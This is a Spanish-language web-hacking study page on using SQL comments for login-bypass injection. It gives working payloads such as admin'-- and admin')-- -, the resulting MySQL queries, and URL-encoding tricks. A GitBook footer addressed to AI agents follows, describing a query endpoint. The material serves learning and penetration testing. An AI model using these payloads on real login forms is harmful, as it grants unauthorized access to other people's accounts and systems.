> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/uso-de-comentarios.md).

# Uso de Comentarios

Aquí usas **comentarios SQL** para anular partes de queries más complejas y lograr el bypass de login.

**Tipos de comentarios en MySQL**

* `--` (dos guiones) — línea de comentario
* `#` — línea de comentario
* `/**/` — comentario in-line (poco usado en SQLi básico)

⚠️ Detalles importantes:

* El `--` **necesita un espacio después** para funcionar. Por eso se suele escribir `-- -` (con un guion extra al final que evidencia ese espacio). URL-encoded es `--+` (el `+` representa el espacio).
* El `#` en una URL de navegador se interpreta como tag y no se envía. Para usarlo como comentario en el navegador, va URL-encoded como `%23`.

**Auth Bypass con comentarios**

Inyectando `admin'--` como username, la query queda:

```sql
SELECT * FROM logins WHERE username='admin'-- ' AND password='something';
```

Todo lo que sigue al `--` se ignora como comentario. La query solo verifica `username='admin'`, sin pedir password. Entras como admin.

**Caso con paréntesis**

A veces la app usa paréntesis para evaluar condiciones primero:

```sql
SELECT * FROM logins WHERE (username='admin' AND id > 1) AND password='<hash>';
```

Dos defensas aquí:

* El `id > 1` impide loguearte como admin (su id es 1).
* El password se **hashea** antes de usarse → no puedes inyectar por el campo password (tu input se convierte en hash).

Si intentas `admin'--` se rompe por **error de sintaxis**, porque dejas un paréntesis abierto sin cerrar:

```sql
SELECT * FROM logins WHERE (username='admin'-- ' AND id > 1) AND password='<hash>';
```

La solución es **cerrar el paréntesis tú mismo** antes de comentar. Inyectas como username:

```
admin')-- -
```

La query queda balanceada:

```sql
SELECT * FROM logins WHERE (username='admin')-- ' AND id > 1) AND password='<hash>';
```

Ahora la condición efectiva es solo `(username='admin')` — el `)` cierra el paréntesis, el `-- -` comenta el resto (incluyendo el `id > 1` y el password), y te logueas como admin.

📌 La clave de esta sección: cuando hay paréntesis u otras estructuras en la query, tu inyección debe **balancear la sintaxis** (cerrar lo que esté abierto) antes de comentar el resto.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/sql/uso-de-comentarios.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
